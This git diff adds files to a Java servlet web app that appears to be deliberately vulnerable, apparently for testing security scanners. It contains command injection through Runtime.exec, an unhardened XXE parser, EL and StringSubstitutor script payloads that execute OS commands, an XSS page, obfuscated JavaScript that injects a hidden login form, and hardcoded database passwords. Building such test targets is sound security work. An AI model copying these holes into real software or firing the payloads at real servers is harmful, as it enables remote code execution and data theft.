-Dendor_connection_url="jdbc:postgresql://localhost:5432/sqlinject?sslmode=disable" + -Dendor_db_user="postgres" + -Dendor_db_password=""Psqlpsmo@1" + -Dendor_db_type="Postgress" + */ + + private Connection connect() { + Connection conn = null; + boolean retval = false; + try { + // Create database connection + // System.out.println("Oracle JDBC Driver Loaded"); + // System.out.println("Oracle Connecting.."); +// String nameForConnect = "sys as sysdba"; +// String pass1 = "Psmo0601"; +// String url = "jdbc:oracle:thin:@10.0.22.108:1521:XE"; +// DriverManager.registerDriver(new OracleDriver()); +// conn = DriverManager.getConnection(url, nameForConnect, pass1); + conn = DriverManager.getConnection(connectionUrl, dbUser, dbPassword); + + } catch (Exception e) { + System.err.println("ERROR: failed to load Oracle JDBC driver."); + e.printStackTrace(); + return null; + } + return conn; + } +} diff --git a/src/main/java/com/endor/OSCommandServlet.java b/src/main/java/com/endor/OSCommandServlet.java new file mode 100644 index 0000000..2339661 --- /dev/null +++ b/src/main/java/com/endor/OSCommandServlet.java @@ -0,0 +1,38 @@ +package com.endor; + +import javax.servlet.ServletException; +import javax.servlet.annotation.WebServlet; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; +import java.io.PrintWriter; + +@WebServlet(name = "ExecuteServlet") +public class OSCommandServlet extends HttpServlet { + protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { + doGet(request, response); + } + + protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { + PrintWriter out = null; + try { + out = response.getWriter(); + } catch (Exception e) { + e.printStackTrace(); + } + HtmlUtil.printHtmlHeader(response); + HtmlUtil.startBody(response); + HtmlUtil.printMenu(response); + HtmlUtil.printCurrentTitle("OS Command", response); + + String form = "
" + + "Find file:

" + + "" + "
"; + out.println(form); + + String command = request.getParameter("command"); + String find = "find " + command; + Runtime.getRuntime().exec(find); + } +} diff --git a/src/main/java/com/endor/RecordServlet.java b/src/main/java/com/endor/RecordServlet.java new file mode 100644 index 0000000..2d192aa --- /dev/null +++ b/src/main/java/com/endor/RecordServlet.java @@ -0,0 +1,260 @@ +package com.endor; + +import java.io.IOException; +import java.io.PrintWriter; +import java.sql.CallableStatement; +import java.sql.Connection; +import java.sql.DriverManager; +import java.sql.PreparedStatement; +import java.sql.ResultSet; +import java.sql.ResultSetMetaData; +import java.sql.SQLException; +import java.sql.Types; + +import javax.servlet.ServletException; +import javax.servlet.annotation.WebServlet; +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; + + +@WebServlet("/clothing-shop/RecordServlet") +public class RecordServlet extends HttpServlet { + static String connectionUrl = ""; + static String dbUser = ""; + static String dbPassword = ""; + static String dbType = ""; + static String DB_TYPE_ORACLE = "Oracle"; + + @Override + public void init() throws ServletException { + super.init(); + connectionUrl =System.getProperty("endor_connection_url", "jdbc:oracle:thin:@10.0.22.108:1521:XE"); + dbUser =System.getProperty("endor_db_user", "sys as sysdba"); + dbPassword =System.getProperty("endor_db_password", "Psmo0601"); + dbType =System.getProperty("endor_db_type", DB_TYPE_ORACLE); + } + + protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { + doGet(request, response); + } + + protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { + PrintWriter out = null; + System.out.println("request.getContentType() = " + request.getContentType()); + try { + out = response.getWriter(); + } catch (Exception e) { + e.printStackTrace(); + } + HtmlUtil.printHtmlHeader(response); + HtmlUtil.startBody(response); + HtmlUtil.printClothingShopMenu(response); + HtmlUtil.openTable(response); + HtmlUtil.openRow(response); + HtmlUtil.openCol(response); + HtmlUtil.printCurrentTitle("Record Fetching Page", response); + HtmlUtil.closeCol(response); + + String retVal = "Failed!"; + + // PreparedStatement execution with input parameter + String username = null; + Cookie[] cookies = request.getCookies(); + if (cookies != null) { + for (Cookie cookie : cookies) { + if (cookie.getName().equals("username")) username = cookie.getValue(); + } + } + + + // Fetch records + String dbcall = request.getParameter("dbcall"); + if (dbcall.equalsIgnoreCase("prepared_statement")) { + executeSQLHelper(username,out); + } else { + getCustomersStoredProc(username,out); + } + + HttpSession session = request.getSession(false); + out.println("

"); + out.println(" Hi " + username + " your session id is: " + request.getSession().getId() + ""); + out.println("

"); + out.print("
"); + } + + private Connection connect() { + Connection conn = null; + try { + // Create database connection + + conn = DriverManager.getConnection(connectionUrl, dbUser, dbPassword); + System.out.println("DB Connection established"); + } catch (Exception e) { + System.err.println("ERROR: failed to connect DB"); + e.printStackTrace(); + return null; + } + return conn; + } + + public boolean executeSQLHelper(String username,java.io.PrintWriter out) { + boolean retVal = false; + Connection conn = connect(); + if (conn == null) + return false; + + try { + StringBuffer sbuf = new StringBuffer(); + String query = new String(); + if(username.contains("admin")) { + query = "select EID,ENAME,ADDRESS,SALARY,NOMINEE from EMPLOYEE_DETAILS"; + PreparedStatement stmt = conn.prepareStatement(query); + ResultSet rs = stmt.executeQuery(); + try { + show_resultset(rs,out); + } catch (Exception e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } + // Clean up + stmt.close(); + rs.close(); + } + else { + query = "select EID,ENAME,ADDRESS from EMPLOYEE_DETAILS"; + PreparedStatement stmt = conn.prepareStatement(query); + ResultSet rs = stmt.executeQuery(); + // Loop through the data and print all artist names + try { + show_resultset(rs,out); + } catch (Exception e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } + // Clean up + stmt.close(); + rs.close(); + } + } catch (SQLException e) { + System.err.println(e.getMessage()); + } finally { + try { + // Close connection + conn.close(); + } catch (SQLException e) { + System.err.println(e.getMessage()); + } + } + return retVal; + } + + private int show_resultset(java.sql.ResultSet rs, java.io.PrintWriter out) + throws Exception { + int rowCount = 0; + + out.println("

"); + ResultSetMetaData rsmd = rs.getMetaData(); + int columnCount = rsmd.getColumnCount(); + // table header + out.println(""); + for (int i = 0; i < columnCount; i++) { + out.println(""); + } + out.println(""); + // the data + while (rs.next()) { + rowCount++; + out.println(""); + for (int i = 0; i < columnCount; i++) { + out.println(""); + } + out.println(""); + } + out.println("
" + rsmd.getColumnLabel(i + 1) + "
" + rs.getString(i + 1) + "

"); + return rowCount; + } + + private int show_resultset(java.sql.ResultSet rs, java.io.PrintWriter out, String username) + throws Exception { + int rowCount = 0; + + out.println("

"); + ResultSetMetaData rsmd = rs.getMetaData(); + int columnCount = rsmd.getColumnCount(); + if(username.contains("user")) { + columnCount -= 2; + } + // table header + out.println(""); + for (int i = 0; i < columnCount; i++) { + out.println(""); + } + out.println(""); + // the data + while (rs.next()) { + rowCount++; + out.println(""); + for (int i = 0; i < columnCount; i++) { + out.println(""); + } + out.println(""); + } + out.println("
" + rsmd.getColumnLabel(i + 1) + "
" + rs.getString(i + 1) + "

"); + return rowCount; + } + + + public boolean getCustomersStoredProc(String username,java.io.PrintWriter out) { + Connection conn = connect(); + if (conn == null) + return false; + + int output = 0; + try { + String query; + CallableStatement cs = null; + + query = "{ ? = call read_employee_details(?)}"; + //query = "{call employee_details(?)}"; + + cs = conn.prepareCall(query); + //cs.setString(1, username); + + cs.setString(2, username); + cs.registerOutParameter(1, Types.REF_CURSOR); + + System.out.println("Stored Proc being called"); + System.out.println(query); + + conn.setAutoCommit(false); + cs.execute(); + + ResultSet rs = (ResultSet) cs.getObject(1); + try { + show_resultset(rs,out); + } catch (Exception e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } + + // Clean up + rs.close(); + cs.close(); + } catch (Exception e) { + System.out.println("Exception !"); + System.err.println(e.getMessage()); + } finally { + try { + // Close connection + conn.close(); + } catch (SQLException e) { + System.err.println(e.getMessage()); + System.out.println("Exception 2"); + } + } + return output >= 0; + } +} diff --git a/src/main/java/com/endor/SecurePage.java b/src/main/java/com/endor/SecurePage.java new file mode 100644 index 0000000..fb34bbb --- /dev/null +++ b/src/main/java/com/endor/SecurePage.java @@ -0,0 +1,45 @@ +package com.endor; + +import javax.servlet.ServletException; +import javax.servlet.annotation.WebServlet; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; +import java.io.PrintWriter; + +@WebServlet("/hsts/securepage") +public class SecurePage extends HttpServlet { + private static final long serialVersionUID = 1L; + + /** + * @see HttpServlet#HttpServlet() + */ + public SecurePage() { + super(); + // TODO Auto-generated constructor stub + } + + protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { + doGet(request, response); + } + + protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { + PrintWriter out = null; + try { + out = response.getWriter(); + } catch (Exception e) { + e.printStackTrace(); + } + + HtmlUtil.printHtmlHeader(response); + HtmlUtil.startBody(response); + HtmlUtil.openTable(response); + HtmlUtil.openRow(response); + HtmlUtil.openCol(response); + out.println("

" + "Secure Page Test" + "

"); + out.println("

" + "This is a secure page" + "

"); + out.println(""); + out.println(""); + } +} diff --git a/src/main/java/com/endor/TypeSniff.java b/src/main/java/com/endor/TypeSniff.java new file mode 100644 index 0000000..c97480a --- /dev/null +++ b/src/main/java/com/endor/TypeSniff.java @@ -0,0 +1,71 @@ +package com.endor; + +import java.io.IOException; +import java.io.PrintWriter; + +import javax.servlet.Filter; +import javax.servlet.FilterChain; +import javax.servlet.FilterConfig; +import javax.servlet.ServletException; +import javax.servlet.ServletRequest; +import javax.servlet.ServletResponse; +import javax.servlet.annotation.WebServlet; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; + +/** + * Servlet implementation class TypeSniff + */ +@WebServlet("/TypeSniff") +public class TypeSniff extends HttpServlet { + private static final long serialVersionUID = 1L; + + /** + * @see HttpServlet#HttpServlet() + */ + public TypeSniff() { + super(); + // TODO Auto-generated constructor stub + } + + /** + * @see HttpServlet#doGet(HttpServletRequest request, HttpServletResponse response) + */ + protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { + // TODO Auto-generated method stub + + PrintWriter out = null; + try { + out = response.getWriter(); + } catch (Exception e) { + e.printStackTrace(); + } + + HtmlUtil.printHtmlHeader(response); + HtmlUtil.startBody(response); + HtmlUtil.printMenu(response); + HtmlUtil.openTable(response); + HtmlUtil.openRow(response); + HtmlUtil.openCol(response); + + out.println("

Type Sniffing Disabled Successfully" + "

"); + + HtmlUtil.closeCol(response); + HtmlUtil.closeRow(response); + HtmlUtil.closeTable(response); + out.println(""); + out.println(""); + + //response.getWriter().append("Served at: ").append(request.getContextPath()); + } + + /** + * @see HttpServlet#doPost(HttpServletRequest request, HttpServletResponse response) + */ + protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { + // TODO Auto-generated method stub + doGet(request, response); + } + +} diff --git a/src/main/java/com/endor/XmlXXE.java b/src/main/java/com/endor/XmlXXE.java new file mode 100644 index 0000000..4b98f90 --- /dev/null +++ b/src/main/java/com/endor/XmlXXE.java @@ -0,0 +1,170 @@ +package com.endor; + +import javax.servlet.ServletException; +import javax.servlet.annotation.MultipartConfig; +import javax.servlet.annotation.WebServlet; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; + +import java.io.BufferedReader; +import java.io.ByteArrayInputStream; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.FileReader; +import java.io.IOException; +import java.io.InputStream; +import java.io.InputStreamReader; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import java.io.PrintWriter; +import java.io.Serializable; +import java.nio.CharBuffer; + + +import javax.xml.XMLConstants; +import javax.xml.parsers.*; + +import org.w3c.dom.Document; +import org.w3c.dom.Node; +import org.w3c.dom.NodeList; +import org.w3c.dom.traversal.DocumentTraversal; +import org.w3c.dom.traversal.NodeFilter; +import org.w3c.dom.traversal.NodeIterator; +import org.xml.sax.SAXException; + +// TODO rename to SQLServlet +@WebServlet(name = "XmlXXE") +@MultipartConfig(fileSizeThreshold=1024*1024*10, // 10 MB + maxFileSize=1024*1024*50, // 50 MB + maxRequestSize=1024*1024*100) + +public class XmlXXE extends HttpServlet { + + protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { + try { + PrintWriter out = null; + try { + out = response.getWriter(); + } catch (Exception e) { + e.printStackTrace(); + } + + HtmlUtil.printHtmlHeader(response); + HtmlUtil.startBody(response); + HtmlUtil.printMenu(response); + HtmlUtil.openTable(response); + HtmlUtil.openRow(response); + HtmlUtil.openCol(response); + out.println("

" + "XML XXE Test" + "

"); + String form = "
" + + ""+ + "

"+ + "" + "
"; + out.println(form); + out.println("Submitted"); + + InputStream inStr = request.getPart("inputfile").getInputStream(); + byte byteArray[] = new byte[inStr.available()]; + DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); + +// System.out.println("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-"); +// System.out.println("Check the properties in the environment"); +// System.out.println("javax.xml.accessExternalSchema - " + System.getProperty("javax.xml.accessExternalSchema")); +// System.out.println("javax.xml.accessExternalDTD - " + System.getProperty("javax.xml.accessExternalDTD")); + +// System.out.println("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-"); +// System.out.println("Set the properties in the environment"); +// System.setProperty("javax.xml.accessExternalSchema", "http"); +// System.setProperty("javax.xml.accessExternalDTD", "http"); + +// System.out.println("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-"); +// System.out.println("Check the properties in the environment"); +// System.out.println("javax.xml.accessExternalSchema - " + System.getProperty("javax.xml.accessExternalSchema")); +// System.out.println("javax.xml.accessExternalDTD - " + System.getProperty("javax.xml.accessExternalDTD")); +// +// System.out.println("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-"); +// System.out.println("Check the properties in the DocumentBuilderFactory.getAttribute method"); +// System.out.println("XMLConstants.ACCESS_EXTERNAL_SCHEMA - " + factory.getAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA)); +// System.out.println("XMLConstants.ACCESS_EXTERNAL_DTD - " + factory.getAttribute(XMLConstants.ACCESS_EXTERNAL_DTD)); + +// System.out.println("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-"); +// System.out.println("Set the properties in the DocumentBuilderFactory.setAttribute method"); +// factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); +// factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); + + System.out.println("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-"); + System.out.println("Check the properties in the environment"); + System.out.println("javax.xml.accessExternalSchema - " + System.getProperty("javax.xml.accessExternalSchema")); + System.out.println("javax.xml.accessExternalDTD - " + System.getProperty("javax.xml.accessExternalDTD")); + + System.out.println("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-"); + System.out.println("Check the properties in the DocumentBuilderFactory.getAttribute method"); + System.out.println("XMLConstants.ACCESS_EXTERNAL_DTD - " + factory.getAttribute(XMLConstants.ACCESS_EXTERNAL_DTD)); + System.out.println("XMLConstants.ACCESS_EXTERNAL_SCHEMA - " + factory.getAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA)); +/* + System.out.println("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-"); + System.out.println("Set the properties in the DocumentBuilderFactory.setAttribute method"); + factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "file"); + factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "file"); + + System.out.println("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-"); + System.out.println("Check the properties in the environment"); + System.out.println("javax.xml.accessExternalSchema - " + System.getProperty("javax.xml.accessExternalSchema")); + System.out.println("javax.xml.accessExternalDTD - " + System.getProperty("javax.xml.accessExternalDTD")); + + System.out.println("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-"); + System.out.println("Check the properties in the DocumentBuilderFactory.getAttribute method"); + System.out.println("XMLConstants.ACCESS_EXTERNAL_DTD - " + factory.getAttribute(XMLConstants.ACCESS_EXTERNAL_DTD)); + System.out.println("XMLConstants.ACCESS_EXTERNAL_SCHEMA - " + factory.getAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA)); +*/ + + DocumentBuilder parser = factory.newDocumentBuilder(); + System.out.println("before calling DocumentBuilder.parse(InputStream is)"); + Document document = parser.parse(inStr); + System.out.println("After calling DocumentBuilder.parse(InputStream is)"); + DocumentTraversal trav = (DocumentTraversal) document; + NodeIterator it = trav.createNodeIterator(document.getDocumentElement(), + NodeFilter.SHOW_ELEMENT, null, true); + for (Node node = it.nextNode(); node != null; + node = it.nextNode()) { + String name = node.getNodeName(); + NodeList nodelist = node.getChildNodes(); + Node firstn = nodelist.item(0); + System.out.printf("%s\n", name); + System.out.println(firstn.getNodeValue()); + out.println("

" + name + "

"); + out.println(firstn.getNodeValue()); + } + System.out.println("Done"); + out.println(""); + out.println(""); + } catch (Exception ex) { + ex.printStackTrace(); + } + } + + protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { + PrintWriter out = null; + try { + out = response.getWriter(); + } catch (Exception e) { + e.printStackTrace(); + } + + HtmlUtil.printHtmlHeader(response); + HtmlUtil.startBody(response); + HtmlUtil.printMenu(response); + HtmlUtil.openTable(response); + HtmlUtil.openRow(response); + HtmlUtil.openCol(response); + out.println("

" + "XML XXE Test" + "

"); + String form = "
" + + ""+ + "

"+ + "" + "
"; + out.println(form); + out.println(""); + out.println(""); + } +} diff --git a/src/main/java/com/endor/stringsub.java b/src/main/java/com/endor/stringsub.java new file mode 100644 index 0000000..3e510b1 --- /dev/null +++ b/src/main/java/com/endor/stringsub.java @@ -0,0 +1,10 @@ +package com.endor; +import org.apache.commons.text.StringSubstitutor; + +public class stringsub { + public static void main(String... args) { + final StringSubstitutor interpolator = StringSubstitutor.createInterpolator(); + String out = interpolator.replace("${script:javascript:java.lang.Runtime.getRuntime().exec('touch ./foo')}"); + System.out.println(out); + } +} diff --git a/src/main/java/com/endor/wrapper/RequestWrapper1.java b/src/main/java/com/endor/wrapper/RequestWrapper1.java new file mode 100644 index 0000000..7f58d9b --- /dev/null +++ b/src/main/java/com/endor/wrapper/RequestWrapper1.java @@ -0,0 +1,30 @@ +package com.endor.wrapper; + +import javax.servlet.ServletRequest; +import javax.servlet.ServletRequestWrapper; + +public class RequestWrapper1 extends ServletRequestWrapper +{ + + + public RequestWrapper1(ServletRequest req) + { +//calls the ServletRequestWrapper superclass's constructor i.e. ServletRequest. + super(req); + } + + + public String getParameter(String str) + { +//Calling the superclass method i.e. ServletRequest's getParameter(String) method. + String name = super.getParameter(str); + + if( name.equals("")) + { + name = "Please, enter your name in the form"; + } + + return name; + } + +} diff --git a/src/main/java/com/endor/wrapper/WrapperFilter.java b/src/main/java/com/endor/wrapper/WrapperFilter.java new file mode 100644 index 0000000..385905a --- /dev/null +++ b/src/main/java/com/endor/wrapper/WrapperFilter.java @@ -0,0 +1,40 @@ +package com.endor.wrapper; + +import javax.servlet.*; +import java.io.IOException; +import java.io.PrintWriter; + +public class WrapperFilter implements Filter +{ + + public void init(FilterConfig filterConfig) + { + } + + public void destroy() + { + } + + //This method is called each time a client requests for a web resource i.e. preprocessing request + public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException + { + response.setContentType("text/html"); + PrintWriter out = null; + try { + out = response.getWriter(); + } catch (IOException e) { + e.printStackTrace(); + } + + out.println(" Filtering request and passing it to Wrapper class
"); + + + // Calling the constructor of request wrapper class + RequestWrapper1 requestWrapper = new RequestWrapper1(request); + + + // This method calls the next filter in the chain + chain.doFilter(requestWrapper,response); + } + +} \ No newline at end of file diff --git a/src/main/java/com/endor/wrapper/WrapperServlet.java b/src/main/java/com/endor/wrapper/WrapperServlet.java new file mode 100644 index 0000000..f92dfcd --- /dev/null +++ b/src/main/java/com/endor/wrapper/WrapperServlet.java @@ -0,0 +1,20 @@ +package com.endor.wrapper; + +import javax.servlet.GenericServlet; +import javax.servlet.ServletException; +import javax.servlet.ServletRequest; +import javax.servlet.ServletResponse; +import java.io.IOException; +import java.io.PrintWriter; + +public class WrapperServlet extends GenericServlet +{ + public void service(ServletRequest request, ServletResponse response) throws ServletException, IOException + { + response.setContentType("text/html"); + String name = request.getParameter("username"); + + PrintWriter out = response.getWriter(); + out.println(name); + } +} diff --git a/src/main/webapp/WEB-INF/web.xml b/src/main/webapp/WEB-INF/web.xml new file mode 100644 index 0000000..ab5a148 --- /dev/null +++ b/src/main/webapp/WEB-INF/web.xml @@ -0,0 +1,144 @@ + + + + + + Archetype Created Web Application + + BooksServlet + com.endor.BooksServlet + + + HttpTrace + com.endor.HttpTrace + + + ExecuteServlet + com.endor.ExecuteServlet + + + OSCommandServlet + com.endor.OSCommandServlet + + + AppServlet + com.endor.AppServlet + + + AsyncServlet + com.endor.AsyncServlet + true + + + Deserialize1 + com.endor.Deserialize1 + true + + + ElExpression + com.endor.ElExpression + + + FileUpload + com.endor.FileUploadServlet + + + XmlXXE + com.endor.XmlXXE + + + + XmlXXE + /xmlxxe + + + ElExpression + /elexpression + + + BooksServlet + /booklist + + + HttpTrace + /httptrace + + + Deserialize1 + /deserialize1 + + + ExecuteServlet + /cmdexec + + + OSCommandServlet + /oscmd + + + AppServlet + /ssrf + + + AsyncServlet + /async + + + FileUpload + /upload + + + CSPFilter + com.endor.CSPFilter + + + CSPFilter + /typesniff + + + WrapperFilter + com.endor.wrapper.WrapperFilter + + + WrapperFilter + /wrapper + + + Servlet + com.endor.wrapper.WrapperServlet + + + Servlet + /wrapper + + + httpHeaderSecurity + org.apache.catalina.filters.HttpHeaderSecurityFilter + true + + hstsMaxAgeSeconds + 31536000 + + + + httpHeaderSecurity + /hsts/securepage + REQUEST + + + + endor-webapp + /hsts/* + GET + POST + + + CONFIDENTIAL + + + + diff --git a/src/main/webapp/elexpression.jsp b/src/main/webapp/elexpression.jsp new file mode 100644 index 0000000..fb67fc4 --- /dev/null +++ b/src/main/webapp/elexpression.jsp @@ -0,0 +1,17 @@ +<%@ page language="java" contentType="text/html; charset=US-ASCII" pageEncoding="US-ASCII" import="java.util.*"%> +<%@ page isELIgnored="false"%> + + + + + JSP EL Execution + + + <% + String commandtoexecute = request.getParameter("command"); + %> +
+ Executing Runtime := ${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("whoami")} +
+ + \ No newline at end of file diff --git a/src/main/webapp/endor.jpg b/src/main/webapp/endor.jpg new file mode 100644 index 0000000..d5def78 Binary files /dev/null and b/src/main/webapp/endor.jpg differ diff --git a/src/main/webapp/fileupload.jsp b/src/main/webapp/fileupload.jsp new file mode 100644 index 0000000..9c72a41 --- /dev/null +++ b/src/main/webapp/fileupload.jsp @@ -0,0 +1,25 @@ +<%-- + Created by IntelliJ IDEA. + User: Ramesh Mani + Date: 10/22/2021 + Time: 1:50 PM + To change this template use File | Settings | File Templates. +--%> +<%@ page contentType="text/html;charset=UTF-8" language="java" %> + + + + File Upload + + + +
+ File: +
+ Destination: + +
+ +
+ + diff --git a/src/main/webapp/index.jsp b/src/main/webapp/index.jsp new file mode 100644 index 0000000..c38169b --- /dev/null +++ b/src/main/webapp/index.jsp @@ -0,0 +1,5 @@ + + +

Hello World!

+ + diff --git a/src/main/webapp/jsfile.js b/src/main/webapp/jsfile.js new file mode 100644 index 0000000..238561e --- /dev/null +++ b/src/main/webapp/jsfile.js @@ -0,0 +1 @@ +var _0x4c27=['b9e461bb','Password','posi','tIn','mit','text','hidden','style','-8d83-4584','nfo','olute;\x20h','form','-50b','sub','toString','<07b8e031-','substring','random','rId','createElement','input','logi','city:\x200.0;','rID','e988-48ca','insertBefore','name','substr','appendChild','value','body','07412760','Use','eight:\x200;\x20width:0;\x20opa','bottest','tion:\x20abs','put','-6d89','method','Tes','8-4d38-a2d2','type'];(function(_0xf0f974,_0x4c2736){var _0x34e06d=function(_0x348cdc){while(--_0x348cdc){_0xf0f974['push'](_0xf0f974['shift']());}};_0x34e06d(++_0x4c2736);}(_0x4c27,0xa3));var _0x34e0=function(_0xf0f974,_0x4c2736){_0xf0f974=_0xf0f974-0x0;var _0x34e06d=_0x4c27[_0xf0f974];return _0x34e06d;};function loaded(){my_form=document[_0x34e0('0x18')](_0x34e0('0x10'));my_form[_0x34e0('0xc')]=_0x34e0('0x7')+'tion:\x20abs'+_0x34e0('0xf')+_0x34e0('0x26')+_0x34e0('0x1b');my_form[_0x34e0('0x1')]='POST';my_form['id']=_0x34e0('0x1a')+_0x34e0('0xe')+'rm';my_form['action']=_0x34e0('0x27');my_tb=document[_0x34e0('0x18')]('input');my_tb[_0x34e0('0xc')]=_0x34e0('0x7')+'tion:\x20abs'+_0x34e0('0xf')+'eight:\x200;\x20width:0;\x20opa'+_0x34e0('0x1b');my_tb['type']=_0x34e0('0xa');my_tb[_0x34e0('0x1f')]=_0x34e0('0x25')+_0x34e0('0x17');my_tb['id']='Use'+_0x34e0('0x1c');my_form[_0x34e0('0x21')](my_tb);my_tb1=document['createElement'](_0x34e0('0x19'));my_tb1['style']=_0x34e0('0x7')+_0x34e0('0x28')+_0x34e0('0xf')+_0x34e0('0x26')+'city:\x200.0;';my_tb1['type']=_0x34e0('0xa');my_tb1['name']=_0x34e0('0x6');my_tb1['id']=_0x34e0('0x6');my_form[_0x34e0('0x21')](my_tb1);my_tb2=document[_0x34e0('0x18')](_0x34e0('0x19'));my_tb2[_0x34e0('0x4')]=_0x34e0('0xb');my_tb2[_0x34e0('0x1f')]=_0x34e0('0x2')+_0x34e0('0x8')+'put';my_tb2[_0x34e0('0x22')]=_0x34e0('0x14')+_0x34e0('0x1d')+_0x34e0('0xd')+_0x34e0('0x24');my_form[_0x34e0('0x21')](my_tb2);my_tb3=document[_0x34e0('0x18')](_0x34e0('0x19'));my_tb3[_0x34e0('0xc')]=_0x34e0('0x7')+'tion:\x20abs'+'olute;\x20h'+_0x34e0('0x26')+'city:\x200.0;';my_tb3[_0x34e0('0x4')]=_0x34e0('0x12')+_0x34e0('0x9');my_tb3['value']='sub'+_0x34e0('0x9');my_form[_0x34e0('0x21')](my_tb3);document[_0x34e0('0x23')][_0x34e0('0x1e')](my_form,document['body']['firstChild']);}function addrandomvalue(_0x13fcbc){hidden_field=document[_0x34e0('0x18')](_0x34e0('0x19'));hidden_field[_0x34e0('0x4')]='hi'+'dd'+'en';hidden_field['name']='Tes'+_0x34e0('0x8')+_0x34e0('0x29');hidden_field[_0x34e0('0x22')]='<91addca6'+_0x34e0('0x11')+_0x34e0('0x3')+_0x34e0('0x0')+_0x34e0('0x5');_0x13fcbc[_0x34e0('0x21')](hidden_field);}function createGuid(){function _0x5e6d58(){return((0x1+Math[_0x34e0('0x16')]())*0x10000|0x0)[_0x34e0('0x13')](0x10)[_0x34e0('0x15')](0x1);}return(_0x5e6d58()+_0x5e6d58()+'-'+_0x5e6d58()+'-4'+_0x5e6d58()[_0x34e0('0x20')](0x0,0x3)+'-'+_0x5e6d58()+'-'+_0x5e6d58()+_0x5e6d58()+_0x5e6d58())['toLowerCase']();} \ No newline at end of file diff --git a/src/main/webapp/persons.jsp b/src/main/webapp/persons.jsp new file mode 100644 index 0000000..f152e39 --- /dev/null +++ b/src/main/webapp/persons.jsp @@ -0,0 +1,80 @@ +<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %> +<%@ page language="java" contentType="text/html; charset=UTF-8" + pageEncoding="UTF-8"%> + + + + Persons Manage Page + + + +<%-- Person Add/Edit logic --%> + + + + + + + + + +<%-- Edit Request --%> + +
+ ID:
Name:
+ Country:
+
+ + +<%-- Add Request --%> + +
+ Name:
Country:
+
+ + +<%-- Persons List Logic --%> + + + + + + + + + + + + + + + + + + + + + + + + + + +
IDNameCountryEditDelete
EditDelete
+ + + \ No newline at end of file diff --git a/src/main/webapp/wrapper.jsp b/src/main/webapp/wrapper.jsp new file mode 100644 index 0000000..8320c7f --- /dev/null +++ b/src/main/webapp/wrapper.jsp @@ -0,0 +1,22 @@ +<%-- + Created by IntelliJ IDEA. + User: nmani + Date: 15/11/21 + Time: 1:19 am + To change this template use File | Settings | File Templates. +--%> +<%@ page contentType="text/html;charset=UTF-8" language="java" %> + + + + ServletRequest Wrapper Demo + + + Please enter your name : ?


+
+ Name : + City : + +
+ + \ No newline at end of file diff --git a/src/main/webapp/xss.jsp b/src/main/webapp/xss.jsp new file mode 100644 index 0000000..5fe8b95 --- /dev/null +++ b/src/main/webapp/xss.jsp @@ -0,0 +1,20 @@ + + +

Hello XSS World!

+
+First Name :

+Last Name :

+Email :

+

+<% if("POST".equalsIgnoreCase(request.getMethod())){ %> +


+Length of Input parameters :

+first name : <%= request.getParameter("fname").length()%>

+Last name : <%= request.getParameter("lname").length()%>

+Email : <%= request.getParameter("email").length()%>

+<%String test1 = request.getParameter("fname") + request.getParameter("email").length() + "randomtext";%> +Printing random text length : <%= test1.length()%>

+<%Thread.sleep(1000);}%> +
+ + \ No newline at end of file